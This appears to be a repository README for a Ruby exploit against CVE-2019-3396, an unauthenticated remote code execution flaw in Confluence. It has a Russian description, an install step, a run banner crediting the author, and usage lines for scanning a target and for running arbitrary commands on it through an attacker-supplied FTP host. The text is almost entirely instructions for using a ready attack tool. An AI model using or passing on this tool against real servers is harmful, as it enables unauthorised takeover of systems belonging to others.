0xninjacyclone/cve-2019-3396Эксплойт на Ruby для CVE-2019-3396, позволяющий неаутентифицированное удаленное выполнение кода в Confluence, включая сканирование целей и выполнение команд через FTP-сервер.
bundle install
┌──(user㉿hostname)-[~/path/to/cve-2019-3396]
└─$ ruby cve-2019-3396.rb
exploit -> CVE-2019-3396
Author -> Abdallah Mohamed Elsharif
Greetz to Ghost5egy and Hamza Abdulrahman and Omar and Alaa
Usage:
ruby cve-2019-3396.rb [options] Or --help
ruby cve-2019-3396.rb -t TARGET --scan
ruby cve-2019-3396.rb -t TARGET --ftp-serv FTPHOST -c COMMAND